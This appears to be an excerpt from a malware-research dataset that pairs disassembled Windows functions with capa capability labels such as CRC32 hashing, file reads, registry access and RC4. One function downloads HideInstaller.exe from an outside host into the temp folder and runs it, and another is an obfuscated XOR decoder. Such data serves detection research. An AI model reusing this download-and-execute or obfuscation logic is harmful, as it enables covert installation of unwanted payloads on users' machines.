joyce8/EMBER2024-capa huggingface dataset:
Function at 0x40e050
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x43ced0
mov eax, dword fs:[0]
push eax
sub esp, 0x110
mov eax, dword [0x448684]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, dword [ebp + 8]
xor ebx, ebx
mov dword [ebp - 0x118], ebx
test byte [0x449e9c], 1
mov dword [ebp - 0x11c], esi
jne 0x40e0cb
mov eax, 1
or dword [0x449e9c], eax
mov dword [ebp - 4], eax
push 0x43d260
mov dword [0x449e98], 0xf
mov dword [0x449e94], ebx
mov byte [0x449e84], bl
call fcn.00413c52
add esp, 4
mov byte [ebp - 4], bl
cmp byte [0x4474ec], bl
je 0x40e125
lea eax, [ebp - 0x114]
push eax
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
test eax, eax
jne 0x40e0fb
push ebx
push 0x43e500
mov ecx, 0x449e80
call fcn.004055e0
jmp 0x40e125
lea eax, [ebp - 0x114]
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
cmp cl, bl
jne 0x40e104
sub eax, edx
push eax
lea ecx, [ebp - 0x114]
push ecx
mov ecx, 0x449e80
call fcn.004055e0
mov byte [0x4474ec], bl
push 0xffffffffffffffff
push ebx
mov dword [esi + 0x18], 0xf
mov dword [esi + 0x14], ebx
push 0x449e80
mov ecx, esi
mov byte [esi + 4], bl
call fcn.004053a0
mov dword [ebp - 4], ebx
mov dword [ebp - 0x118], 1
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.004126c6
mov esp, ebp
pop ebp
ret 4
Function at 0x40ee50
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
push ebp
mov ebp, esp
mov ecx, dword [ebp + 0xc]
test ecx, ecx
jne 0x40ee60
xor eax, eax
pop ebp
ret 0xc
mov edx, dword [ebp + 0x10]
mov eax, dword [ebp + 8]
push esi
not eax
cmp edx, 8
jb 0x40ef44
mov esi, edx
shr esi, 3
push edi
jmp 0x40ee80
movzx edi, byte [ecx]
xor edi, eax
and edi, 0xff
shr eax, 8
xor eax, dword [edi*4 + 0x43eca0]
movzx edi, byte [ecx + 1]
xor edi, eax
and edi, 0xff
inc ecx
shr eax, 8
xor eax, dword [edi*4 + 0x43eca0]
movzx edi, byte [ecx + 1]
xor edi, eax
and edi, 0xff
inc ecx
shr eax, 8
xor eax, dword [edi*4 + 0x43eca0]
movzx edi, byte [ecx + 1]
xor edi, eax
inc ecx
and edi, 0xff
shr eax, 8
xor eax, dword [edi*4 + 0x43eca0]
movzx edi, byte [ecx + 1]
xor edi, eax
inc ecx
and edi, 0xff
shr eax, 8
xor eax, dword [edi*4 + 0x43eca0]
movzx edi, byte [ecx + 1]
xor edi, eax
inc ecx
and edi, 0xff
shr eax, 8
xor eax, dword [edi*4 + 0x43eca0]
movzx edi, byte [ecx + 1]
inc ecx
xor edi, eax
and edi, 0xff
shr eax, 8
xor eax, dword [edi*4 + 0x43eca0]
movzx edi, byte [ecx + 1]
inc ecx
xor edi, eax
and edi, 0xff
shr eax, 8
xor eax, dword [edi*4 + 0x43eca0]
inc ecx
sub edx, 8
sub esi, 1
jne 0x40ee80
pop edi
test edx, edx
je 0x40ef6b
jmp 0x40ef50
movzx esi, byte [ecx]
xor esi, eax
and esi, 0xff
shr eax, 8
xor eax, dword [esi*4 + 0x43eca0]
inc ecx
sub edx, 1
jne 0x40ef50
not eax
pop esi
pop ebp
ret 0xc
Function at 0x4110c0
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_ReadFile]
push esi
push edi
mov edi, dword [ebp + 8]
push 0
lea eax, [ebp - 4]
push eax
push 1
lea ecx, [ebp + 0xb]
push ecx
push edi
call ebx
cmp dword [ebp - 4], 0
je 0x4110ef
movzx esi, byte [ebp + 0xb]
xor eax, eax
jmp 0x4110f9
mov esi, dword [ebp + 0xc]
neg eax
sbb eax, eax
neg eax
dec eax
mov dword [ebp - 8], esi
test eax, eax
jne 0x411135
push eax
lea edx, [ebp - 4]
push edx
push 1
lea eax, [ebp + 0xb]
push eax
push edi
call ebx
cmp dword [ebp - 4], 0
je 0x41112e
movzx esi, byte [ebp + 0xb]
mov ecx, dword [ebp + 0xc]
shl esi, 8
xor eax, eax
add esi, dword [ebp - 8]
pop edi
mov dword [ecx], esi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8
test eax, eax
jne 0x411118
or eax, 0xffffffff
mov edx, dword [ebp + 0xc]
pop edi
pop esi
mov dword [edx], 0
pop ebx
mov esp, ebp
pop ebp
ret 8

Function at 0x411150
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_ReadFile]
push esi
push edi
mov edi, dword [ebp + 8]
push 0
lea eax, [ebp - 4]
push eax
push 1
lea ecx, [ebp + 0xb]
push ecx
push edi
call ebx
cmp dword [ebp - 4], 0
je 0x41117f
movzx esi, byte [ebp + 0xb]
xor eax, eax
jmp 0x411189
mov esi, dword [ebp + 0xc]
neg eax
sbb eax, eax
neg eax
dec eax
mov dword [ebp - 4], esi
test eax, eax
jne 0x4111b3
push eax
lea edx, [ebp - 8]
push edx
push 1
lea eax, [ebp + 0xb]
push eax
push edi
call ebx
cmp dword [ebp - 8], 0
je 0x4111ac
movzx esi, byte [ebp + 0xb]
xor eax, eax
jmp 0x4111b3
neg eax
sbb eax, eax
neg eax
dec eax
mov ecx, esi
shl ecx, 8
add dword [ebp - 4], ecx
test eax, eax
jne 0x4111e2
push eax
lea edx, [ebp - 8]
push edx
push 1
lea eax, [ebp + 0xb]
push eax
push edi
call ebx
cmp dword [ebp - 8], 0
je 0x4111db
movzx esi, byte [ebp + 0xb]
xor eax, eax
jmp 0x4111e2
neg eax
sbb eax, eax
neg eax
dec eax
mov ecx, esi
shl ecx, 0x10
add dword [ebp - 4], ecx
test eax, eax
jne 0x411223
push eax
lea edx, [ebp - 8]
push edx
push 1
lea eax, [ebp + 0xb]
push eax
push edi
call ebx
cmp dword [ebp - 8], 0
je 0x41121c
movzx esi, byte [ebp + 0xb]
mov ecx, dword [ebp + 0xc]
shl esi, 0x18
xor eax, eax
add esi, dword [ebp - 4]
pop edi
mov dword [ecx], esi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8
test eax, eax
jne 0x411206
or eax, 0xffffffff
mov edx, dword [ebp + 0xc]
pop edi
pop esi
mov dword [edx], 0
pop ebx
mov esp, ebp
pop ebp
ret 8
Function at 0x411240
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
mov ecx, dword [ebp + 0xc]
mov eax, dword [ebp + 0x10]
mov edx, dword [ebp + 8]
push ebx
push edi
push 2
lea edi, [ecx + eax]
push 0
push edi
mov ebx, 0xffff
push edx
mov dword [ebp - 4], ebx
mov dword [ebp - 8], 0
mov dword [ebp + 0xc], edi
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
cmp eax, 0xffffffff
jne 0x411281
pop edi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret 0xc
cmp edi, ebx
jae 0x41128a
mov dword [ebp - 4], edi
mov ebx, edi
push esi
push 4
push 0x1000
push 0x404
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov esi, eax
test esi, esi
jne 0x4112ae
pop esi
pop edi
pop ebx
mov esp, ebp
pop ebp
ret 0xc
mov eax, 4
cmp ebx, eax
jbe 0x411355
jmp 0x4112c9
mov ebx, dword [ebp - 4]
mov eax, dword [ebp + 0x10]
mov edi, dword [ebp + 0xc]
add eax, 0x400
mov dword [ebp + 0x10], ebx
cmp eax, ebx
ja 0x4112d8
mov dword [ebp + 0x10], eax
mov ebx, edi
sub ebx, dword [ebp + 0x10]
mov eax, edi
sub eax, ebx
mov edi, 0x404
cmp eax, 0x404
ja 0x4112ef
mov edi, eax
mov eax, dword [ebp + 8]
push 0
push 0
push ebx
push eax
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
cmp eax, 0xffffffff
je 0x411355
mov edx, dword [ebp + 8]
push 0
lea ecx, [ebp - 0xc]
push ecx
push edi
push esi
push edx
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x411355
lea eax, [edi - 3]
test eax, eax
jle 0x411349
dec eax
cmp byte [eax + esi], 0x50
jne 0x41133c
cmp byte [eax + esi + 1], 0x4b
jne 0x41133c
cmp byte [eax + esi + 2], 5
jne 0x41133c
cmp byte [eax + esi + 3], 6
je 0x411342
test eax, eax
jg 0x411320
jmp 0x411349
add eax, ebx
mov dword [ebp - 8], eax
jne 0x411355
mov eax, dword [ebp - 4]
cmp dword [ebp + 0x10], eax
jb 0x4112c0
push 0x8000
push 0
push esi
call dword [sym.imp.KERNEL32.dll_VirtualFree]
mov eax, dword [ebp - 8]
pop esi
pop edi
pop ebx
mov esp, ebp
pop ebp
ret 0xc
Function at 0x411a20
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov eax, dword [ebp + 8]
mov dword [ebp - 8], 0
mov dword [ebp - 4], 0
test eax, eax
jne 0x411a46
mov eax, 0xffffff9a
mov esp, ebp
pop ebp
ret 0xc
push esi
mov esi, dword [eax + 0x7c]
test esi, esi
jne 0x411a58
lea eax, [esi - 0x66]
pop esi
mov esp, ebp
pop ebp
ret 0xc
cmp dword [esi + 4], 0
jne 0x411a6a
mov eax, 0xffffff9c
pop esi
mov esp, ebp
pop ebp
ret 0xc
mov ecx, dword [ebp + 0x10]
test ecx, ecx
jne 0x411a7a
xor eax, eax
pop esi
mov esp, ebp
pop ebp
ret 0xc
mov eax, dword [ebp + 0xc]
mov dword [esi + 0x14], eax
mov eax, dword [esi + 0x60]
mov dword [esi + 0x18], ecx
cmp ecx, eax
jbe 0x411a8d
mov dword [esi + 0x18], eax
cmp dword [esi + 0x18], 0
push ebx
push edi
jbe 0x411ba8
lea esp, [esp]
cmp dword [esi + 0xc], 0
jne 0x411b08
mov eax, dword [esi + 0x5c]
test eax, eax
jbe 0x411b08
mov edi, 0x4000
cmp eax, edi
jae 0x411ac0
mov edi, eax
test edi, edi
je 0x411bb4
mov ecx, dword [esi + 0x68]
add ecx, dword [esi + 0x40]
mov edx, dword [esi]
push 0
push 0
push ecx
push edx
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
cmp eax, 0xffffffff
je 0x411bbf
mov ecx, dword [esi + 4]
mov edx, dword [esi]
push 0
lea eax, [ebp + 0x10]
push eax
push edi
push ecx
push edx
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x411bbf
mov eax, dword [esi + 4]
add dword [esi + 0x40], edi
sub dword [esi + 0x5c], edi
mov dword [esi + 8], eax
mov dword [esi + 0xc], edi
cmp dword [esi + 0x64], 0
jne 0x411b59
mov eax, dword [esi + 0x18]
mov edi, dword [esi + 0xc]
cmp eax, edi
jae 0x411b1a
mov edi, eax
xor eax, eax
test edi, edi
jbe 0x411b31
mov ecx, dword [esi + 8]
mov cl, byte [eax + ecx]
mov edx, dword [esi + 0x14]
mov byte [eax + edx], cl
inc eax
cmp eax, edi
jb 0x411b20
mov edx, dword [esi + 0x14]
mov eax, dword [esi + 0x54]
push edi
push edx
push eax
call fcn.0040ee50
sub dword [esi + 0x60], edi
sub dword [esi + 0xc], edi
sub dword [esi + 0x18], edi
add dword [esi + 0x14], edi
add dword [esi + 8], edi
add dword [esi + 0x1c], edi
add dword [ebp - 4], edi
mov dword [esi + 0x54], eax
jmp 0x411b98
mov ecx, dword [esi + 0x14]
mov ebx, dword [esi + 0x1c]
push 2
lea edx, [esi + 8]
push edx
mov dword [ebp + 8], ecx
call fcn.00410610
mov edi, dword [esi + 0x1c]
mov ecx, dword [esi + 0x54]
mov dword [ebp - 8], eax
mov eax, dword [ebp + 8]
sub edi, ebx
push edi
push eax
push ecx
call fcn.0040ee50
sub dword [esi + 0x60], edi
add dword [ebp - 4], edi
mov dword [esi + 0x54], eax
mov eax, dword [ebp - 8]
cmp eax, 1
je 0x411ba8
test eax, eax
jne 0x411bcb
cmp dword [esi + 0x18], 0
ja 0x411aa0
cmp dword [ebp - 8], 0
jne 0x411bcb
mov eax, dword [ebp - 4]
pop edi
pop ebx
pop esi
mov esp, ebp
pop ebp
ret 0xc
pop edi
pop ebx
xor eax, eax
pop esi
mov esp, ebp
pop ebp
ret 0xc
pop edi
pop ebx
or eax, 0xffffffff
pop esi
mov esp, ebp
pop ebp
ret 0xc
mov eax, dword [ebp - 8]
pop edi
pop ebx
pop esi
mov esp, ebp
pop ebp
ret 0xc

Function at 0x4126c6
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x448684]
jne 0x4126d0
repz ret
jmp fcn.0041628c
Function at 0x4314de
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
call fcn.00415bbe
and dword [ebp - 4], 0
cmp dword [0x44a8b8], 0
mov ebx, eax
jne 0x43158f
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
test edi, edi
je 0x431640
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0x44190c
push edi
call esi
test eax, eax
je 0x431640
push eax
call fcn.00415b4c
mov dword [esp], str.GetActiveWindow
push edi
mov dword [0x44a8b8], eax
call esi
push eax
call fcn.00415b4c
mov dword [esp], str.GetLastActivePopup
push edi
mov dword [0x44a8bc], eax
call esi
push eax
call fcn.00415b4c
mov dword [esp], str.GetUserObjectInformationA
push edi
mov dword [0x44a8c0], eax
call esi
push eax
call fcn.00415b4c
pop ecx
mov dword [0x44a8c8], eax
test eax, eax
je 0x43158f
push str.GetProcessWindowStation
push edi
call esi
push eax
call fcn.00415b4c
pop ecx
mov dword [0x44a8c4], eax
mov eax, dword [0x44a8c4]
cmp eax, ebx
je 0x4315e7
cmp dword [0x44a8c8], ebx
je 0x4315e7
push eax
call fcn.00415bc7
push dword [0x44a8c8]
mov esi, eax
call fcn.00415bc7
pop ecx
pop ecx
mov edi, eax
test esi, esi
je 0x4315e7
test edi, edi
je 0x4315e7
call esi
test eax, eax
je 0x4315de
lea ecx, [ebp - 8]
push ecx
push 0xc
lea ecx, [ebp - 0x14]
push ecx
push 1
push eax
call edi
test eax, eax
je 0x4315de
test byte [ebp - 0xc], 1
jne 0x4315e7
or dword [ebp + 0x10], 0x200000
jmp 0x431620
mov eax, dword [0x44a8bc]
cmp eax, ebx
je 0x431620
push eax
call fcn.00415bc7
pop ecx
test eax, eax
je 0x431620
call eax
mov dword [ebp - 4], eax
test eax, eax
je 0x431620
mov eax, dword [0x44a8c0]
cmp eax, ebx
je 0x431620
push eax
call fcn.00415bc7
pop ecx
test eax, eax
je 0x431620
push dword [ebp - 4]
call eax
mov dword [ebp - 4], eax
push dword [0x44a8b8]
call fcn.00415bc7
pop ecx
test eax, eax
je 0x431640
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
call eax
jmp 0x431642
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x994cdc
Capabilities:
Check if file exists
Get file attributes

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
xor esi, esi
cmp dword [ebp + 8], esi
jne 0x994d03
call fcn.00937288
mov dword [eax], esi
call fcn.00937275
push 0x16
pop esi
mov dword [eax], esi
call fcn.00937eca
mov eax, esi
jmp 0x994d58
test dword [ebp + 0xc], 0xfffffff9
jne 0x994ce9
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
jne 0x994d30
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
call fcn.0093729b
pop ecx
call fcn.00937275
mov eax, dword [eax]
jmp 0x994d58
test al, 0x10
jne 0x994d56
test al, 1
je 0x994d56
test byte [ebp + 0xc], 2
je 0x994d56
call fcn.00937288
mov dword [eax], 5
call fcn.00937275
mov dword [eax], 0xd
jmp 0x994d27
xor eax, eax
pop esi
pop ebp
ret

Function at 0x438c85
Capabilities:
Encode data using xor

Disassembly:
push 0x438a14
pop esi
add ebx, edi
dec edi
call fcn.00438cbd
add edi, 0x2429c808
mov edi, edi
add edi, 0x36909a23
xor dword [ecx], esi
and ebx, edi
inc ecx
or edi, ebx
mov ebx, ebx
cmp ecx, edx
jne fcn.00438c85
sub ebx, 0xe3eca0eb
mov edi, edi
ret
Function at 0x4011b0
Capabilities:
Create process on windows
Get common file path

Disassembly:
sub esp, 0x218
lea eax, [esp + 0x114]
push eax
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
lea ecx, [esp]
push ecx
call dword [sym.imp.KERNEL32.dll_GetLocalTime]
mov edx, dword [esp + 0xc]
lea eax, [esp + 0x114]
and edx, 0xffff
lea ecx, [esp + 0x10]
push edx
push eax
push str._sHideInstaller_up_d.exe
push ecx
call dword [sym.imp.USER32.dll_wsprintfA]
lea edx, [esp + 0x20]
push edx
push str.http:__file.searchspy.co.kr_archive_HideInstaller.exe
call fcn.00401ab0
add esp, 0x18
lea eax, [esp + 0x10]
push 0
push eax
call dword [sym.imp.KERNEL32.dll_WinExec]
add esp, 0x218
ret

Function at 0x401220
Capabilities:
Set registry value

Disassembly:
sub esp, 0x404
lea eax, [esp + 4]
push str.SearchPack
push str.Software_s
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
lea ecx, [esp]
lea edx, [esp + 4]
push ecx
push 0xf003f
push 0
push edx
push 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
je 0x401273
lea eax, [esp]
lea ecx, [esp + 4]
push eax
push ecx
push 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyA]
mov edx, dword [esp + 0x40c]
push edi
mov edi, edx
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
push ecx
push edx
mov edx, dword [esp + 0x414]
push 1
push eax
mov eax, dword [esp + 0x14]
push edx
push eax
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov ecx, dword [esp + 4]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop edi
add esp, 0x404
ret 8

Function at 0x4012c0
Capabilities:
Query or enumerate registry value

Disassembly:
sub esp, 0x40c
lea eax, [esp + 0xc]
push str.SearchPack
push str.Software_s
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
lea ecx, [esp]
lea edx, [esp + 0xc]
push ecx
push 0xf003f
push 0
push edx
push 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x401344
mov eax, dword [esp + 0x418]
push esi
mov esi, dword [esp + 0x418]
lea ecx, [esp + 8]
push ecx
mov ecx, dword [esp + 8]
lea edx, [esp + 0x10]
mov dword [esp + 0xc], eax
mov eax, dword [esp + 0x418]
push esi
push edx
push 0
push eax
push ecx
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
je 0x401338
mov byte [esi], 0
mov edx, dword [esp + 4]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop esi
add esp, 0x40c
ret 0xc
Function at 0x401ab0
Capabilities:
Create http request
Download and write a file
Query remote server for available data
Read data from internet
Receive and write data from server to client
Receive data
Write file on windows

Disassembly:
mov eax, 0xfdfc
call fcn.00401dc0
push ebx
push ebp
push esi
push edi
xor ebx, ebx
mov ecx, 0x3f79
xor eax, eax
lea edi, [esp + 0x25]
mov byte [esp + 0x24], bl
push ebx
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
push ebx
push ebx
push 1
push str.HTTP_FILEDOWN
stosb byte es:[edi], al
call dword [sym.imp.WININET.dll_InternetOpenA]
mov esi, eax
test esi, esi
mov dword [esp + 0x1c], esi
jne 0x401af9
pop edi
pop esi
pop ebp
pop ebx
add esp, 0xfdfc
ret
mov eax, dword [esp + 0xfe10]
push 0
push 0x80000000
push 0
push 0
push eax
push esi
call dword [sym.imp.WININET.dll_InternetOpenUrlA]
mov ebp, eax
test ebp, ebp
jne 0x401b2d
push esi
call dword [sym.imp.WININET.dll_InternetCloseHandle]
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0xfdfc
ret
push 0x100000
call sub.MFC42.DLL_operatornew
add esp, 4
mov edi, eax
mov ecx, 0x40000
xor eax, eax
mov dword [esp + 0x10], edi
rep stosd dword es:[edi], eax
push 0
lea ecx, [esp + 0x1c]
push 0
push ecx
push ebp
call dword [sym.imp.WININET.dll_InternetQueryDataAvailable]
test eax, eax
je 0x401ba3
mov eax, dword [esp + 0x18]
lea edx, [esp + 0x14]
push edx
lea ecx, [esp + 0x28]
push eax
push ecx
push ebp
call dword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
je 0x401ba3
mov ecx, dword [esp + 0x14]
lea edx, [ecx + ebx]
cmp edx, 0x100000
ja 0x401c26
mov eax, dword [esp + 0x10]
mov edx, ecx
lea esi, [esp + 0x24]
lea edi, [eax + ebx]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov eax, dword [esp + 0x14]
add ebx, eax
test eax, eax
jne 0x401b49
mov esi, dword [sym.imp.WININET.dll_InternetCloseHandle]
push ebp
call esi
mov eax, dword [esp + 0x1c]
push eax
call esi
mov ecx, dword [esp + 0xfe14]
push 0
push 0x80
push 2
push 0
push 0
push 0x40000000
push ecx
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
cmp esi, 0xffffffff
jne 0x401bfe
mov edx, dword [esp + 0x10]
push edx
call sub.MFC42.DLL_operatordelete
add esp, 4
xor eax, eax
pop edi
pop esi
pop ebp
pop ebx
add esp, 0xfdfc
ret
mov edi, dword [esp + 0x10]
lea eax, [esp + 0x20]
push 0
push eax
push ebx
push edi
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
push esi
jne 0x401c33
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push edi
call sub.MFC42.DLL_operatordelete
add esp, 4
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0xfdfc
ret
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push edi
call sub.MFC42.DLL_operatordelete
add esp, 4
mov eax, 1
pop edi
pop esi
pop ebp
pop ebx
add esp, 0xfdfc
ret
Function at 0x4013db
Capabilities:
Query or enumerate registry key

Disassembly:
push ebp
lea ebp, [esp - 0x1c4]
sub esp, 0x244
mov eax, dword [0x45752c]
push esi
push edi
mov edi, ecx
mov dword [ebp + 0x1c0], eax
mov eax, dword [edi + 4]
xor esi, esi
cmp eax, esi
mov dword [ebp - 0x54], edi
je 0x4015aa
lea ecx, [ebp - 0x80]
push ecx
lea ecx, [ebp - 0x74]
push ecx
lea ecx, [ebp - 0x78]
push ecx
lea ecx, [ebp - 0x60]
push ecx
lea ecx, [ebp - 0x68]
push ecx
lea ecx, [ebp - 0x6c]
push ecx
lea ecx, [ebp - 0x70]
push ecx
lea ecx, [ebp - 0x64]
push ecx
push esi
lea ecx, [ebp - 0x58]
push ecx
lea ecx, [ebp - 0x48]
push ecx
push eax
mov dword [ebp - 0x58], 0x104
call dword [sym.imp.ADVAPI32.dll_RegQueryInfoKeyA]
test eax, eax
jne 0x4015aa
push ebx
mov dword [ebp - 0x50], esi
push 0x104
lea eax, [ebp + 0xbc]
push eax
push dword [ebp - 0x50]
push dword [edi + 4]
call dword [sym.imp.ADVAPI32.dll_RegEnumKeyA]
cmp eax, esi
mov dword [ebp - 0x5c], eax
jne 0x40159b
lea eax, [ebp + 0xbc]
push eax
call fcn.004323c4
mov ebx, eax
cmp ebx, esi
pop ecx
jle 0x40159b
push 0x1c
call fcn.004321fb
cmp eax, esi
pop ecx
je 0x40149a
mov ecx, eax
call fcn.00401000
mov esi, eax
mov eax, dword [esi]
push ebx
mov ecx, esi
call dword [eax + 0x10]
push dword [edi + 4]
mov eax, dword [esi]
mov ecx, esi
call dword [eax + 0x28]
test al, al
je 0x40158d
mov eax, dword [esi + 0x18]
test eax, eax
je 0x401567
push eax
call fcn.00432170
test eax, eax
pop ecx
jbe 0x401567
mov ebx, dword [esi + 0x18]
and dword [ebp - 0x4c], 0
lea eax, [ebp - 0x4c]
push eax
push 0x44647c
push ebx
call fcn.00432308
add esp, 0xc
cmp dword [ebp - 0x4c], 0
jle 0x401567
jmp 0x4014f2
mov edi, dword [ebp - 0x54]
mov edi, dword [edi + 0x10]
jmp 0x401506
mov eax, dword [edi]
mov ecx, edi
call dword [eax + 0xc]
cmp eax, dword [ebp - 0x4c]
je 0x40150c
mov edi, dword [edi + 0x34]
test edi, edi
jne 0x4014f7
jmp 0x40151e
mov eax, dword [edi]
mov ecx, edi
call dword [eax + 0x3c]
and dword [ebp - 0x4c], 0
mov byte [esi + 0x14], al
mov byte [esi + 0x15], 1
mov al, byte [ebx]
test al, al
je 0x40153e
cmp al, 0x20
je 0x401533
cmp al, 9
je 0x401533
inc ebx
mov al, byte [ebx]
test al, al
jne 0x401524
cmp byte [ebx], 0
je 0x40153e
inc ebx
cmp byte [ebx], 0
jne 0x401542
and dword [ebp - 0x4c], 0
cmp dword [ebp - 0x4c], 0
jle 0x401564
and dword [ebp - 0x4c], 0
lea eax, [ebp - 0x4c]
push eax
push 0x44647c
push ebx
call fcn.00432308
add esp, 0xc
cmp dword [ebp - 0x4c], 0
jg 0x4014ef
mov edi, dword [ebp - 0x54]
mov ebx, dword [edi + 0xc]
test ebx, ebx
jne 0x401578
mov dword [edi + 0xc], esi
jmp 0x40159b
call dword [eax + 4]
mov ebx, eax
mov eax, dword [ebx]
mov ecx, ebx
call dword [eax + 4]
test eax, eax
mov eax, dword [ebx]
mov ecx, ebx
jne 0x401573
push esi
call dword [eax + 8]
jmp 0x40159b
mov ecx, esi
call fcn.00401029
push esi
call fcn.00432126
pop ecx
inc dword [ebp - 0x50]
xor esi, esi
cmp dword [ebp - 0x5c], esi
je 0x40144b
pop ebx
mov ecx, dword [ebp + 0x1c0]
pop edi
pop esi
call fcn.0043215c
add ebp, 0x1c4
leave
ret
Function at 0x40346c
Capabilities:
Hash data with crc32

Disassembly:
xor edx, edx
add ecx, 8
push esi
push 8
mov eax, edx
pop esi
test al, 1
je 0x403484
shr eax, 1
xor eax, 0xedb88320
jmp 0x403486
shr eax, 1
dec esi
jne 0x403477
mov dword [ecx], eax
inc edx
add ecx, 4
cmp edx, 0xff
jle 0x403472
pop esi
ret

Function at 0x40368e
Capabilities:
Encode data using xor
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x238
mov eax, dword [0x45752c]
push ebx
push esi
push edi
push dword [ebp + 0x18]
lea ecx, [ebp - 0x238]
push dword [ebp + 0x14]
mov dword [ebp - 4], eax
call fcn.00403612
mov eax, dword [ebp - 0x220]
xor eax, dword [ebp + 0x14]
mov ecx, dword [ebp - 0x21c]
xor ecx, dword [ebp + 0x18]
and eax, dword [ebp - 0x210]
and ecx, dword [ebp - 0x20c]
mov dword [ebp - 0x238], eax
mov esi, 0x100
push esi
lea eax, [ebp - 0x204]
mov dword [ebp - 0x234], ecx
xor ebx, ebx
push eax
lea ecx, [ebp - 0x238]
mov byte [ebp - 0x230], bl
mov dword [ebp - 0x208], ebx
xor edi, edi
call fcn.00403655
xor eax, eax
mov byte [ebp + eax - 0x104], al
inc eax
cmp eax, esi
jl 0x403707
mov dword [ebp + 0x18], ebx
mov eax, dword [ebp + 0x18]
xor ecx, ecx
mov cl, byte [ebp + edi - 0x204]
lea eax, [ebp + eax - 0x104]
movsx edx, byte [eax]
add ecx, dword [ebp - 0x208]
add ecx, edx
and ecx, 0xff
mov dword [ebp - 0x208], ecx
lea ecx, [ebp + ecx - 0x104]
movsx ebx, byte [ecx]
inc edi
cmp edi, esi
mov byte [ecx], dl
mov byte [eax], bl
jl 0x403755
xor edi, edi
inc dword [ebp + 0x18]
cmp dword [ebp + 0x18], esi
jl 0x403716
mov edi, dword [ebp + 0x10]
test edi, edi
jge 0x403766
neg edi
mov eax, dword [ebp + 0xc]
test eax, eax
jle 0x40378e
mov ecx, dword [ebp + 8]
sub edi, ecx
mov dword [ebp + 0x10], eax
lea eax, [edi + ecx]
cdq
mov ebx, esi
idiv ebx
mov al, byte [ebp + edx - 0x104]
and al, 0x7f
xor byte [ecx], al
inc ecx
dec dword [ebp + 0x10]
jne 0x403775
mov ecx, dword [ebp - 4]
pop edi
pop esi
pop ebx
call fcn.0043215c
leave
ret